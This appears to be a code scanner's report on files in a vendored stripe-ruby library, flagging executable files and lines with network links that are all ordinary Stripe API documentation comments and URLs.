- Executable scriptline 1
Executable file - Network accessline 18
raise AuthenticationError, "No client_id provided. " 'Set your client_id using "Stripe.client_id = <CLIENT-ID>". ' "You can find your client_ids in your Stripe dashboar - Network accessline 19
'Set your client_id using "Stripe.client_id = <CLIENT-ID>". ' \ "You can find your client_ids in your Stripe dashboard at " \ "https://dashboard.stripe.com/account/applic - Network accessline 20
"You can find your client_ids in your Stripe dashboard at " \ "https://dashboard.stripe.com/account/applications/settings, " \ "after registering your account as a platfo - Network accessline 21
"https://dashboard.stripe.com/account/applications/settings, " \ - Network accessline 22
"after registering your account as a platform. See " \ "https://stripe.com/docs/connect/standalone-accounts for details, " \ "or email support@stripe.com if you have any - Network accessline 23
"https://stripe.com/docs/connect/standalone-accounts for details, " \ - Access to secretsline 44
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/object_types.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_capability_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_capability_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_capability_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 45
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 60
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 72
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 80
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 979
# Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1038
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1046
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1069
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1104
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1198
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF - Network accessline 1200
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD - Network accessline 1241
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 1315
# A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-behavior). - Network accessline 1359
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1368
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1377
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1386
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1395
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1404
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1413
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1430
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1450
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1460
# One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou - Network accessline 1503
# The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details. - Network accessline 1515
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1523
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1546
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1581
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1631
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1639
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1688
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1690
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1700
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1702
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1752
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1829
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 1831
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px. - Network accessline 1913
# The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati - Network accessline 1915
# The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1917
# The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 2053
# An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. - Network accessline 2072
# The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States and the business for which you're creating a - Network accessline 2074
# Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts). - Network accessline 2088
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 68
# Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 122
# A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's external account details (with the options shown below). Please refer to full [documentation](https://stripe.com/docs/api/exter - Network accessline 124
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_external_account_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 15
# One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the bank account that displays the last - Network accessline 50
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_link_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_login_link_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 32
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 40
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 56
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 91
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 140
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 149
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 158
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 182
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 190
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 282
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 284
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 294
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 296
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 340
# The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht - Network accessline 342
# The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi - Network accessline 352
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 354
# The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 356
# A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_person_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 32
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 40
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 56
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 91
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 140
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 149
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 158
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 182
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 190
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 282
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 284
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 294
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 296
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 340
# The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht - Network accessline 342
# The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi - Network accessline 352
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 354
# The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 356
# A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_persons_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_reject_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_retrieve_current_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_session_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/account_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 45
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 60
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 72
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 80
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 979
# Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1038
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1046
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1069
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1104
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1198
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF - Network accessline 1200
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD - Network accessline 1241
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 1315
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1324
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1333
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1342
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1351
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1360
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1369
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1386
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1406
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1416
# One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou - Network accessline 1459
# The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details. - Network accessline 1471
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1479
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1502
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1537
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1587
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1595
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1644
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1646
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1656
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1658
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1708
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1785
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 1787
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px. - Network accessline 1872
# The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati - Network accessline 1874
# The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1876
# The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 2012
# An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. - Network accessline 2029
# Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts). - Network accessline 2043
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apple_pay_domain_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_refund_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/application_fee_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_delete_where_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_find_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/apps/secret_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_settings_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_settings_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_transaction_list_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/balance_transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_activate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_archive_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_deactivate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/alert_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_balance_summary_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_balance_transaction_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_balance_transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter. - Network accessline 59
# Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_expire_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_void_grant_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_deactivate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_event_adjustment_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_event_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_event_summary_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_reactivate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 131
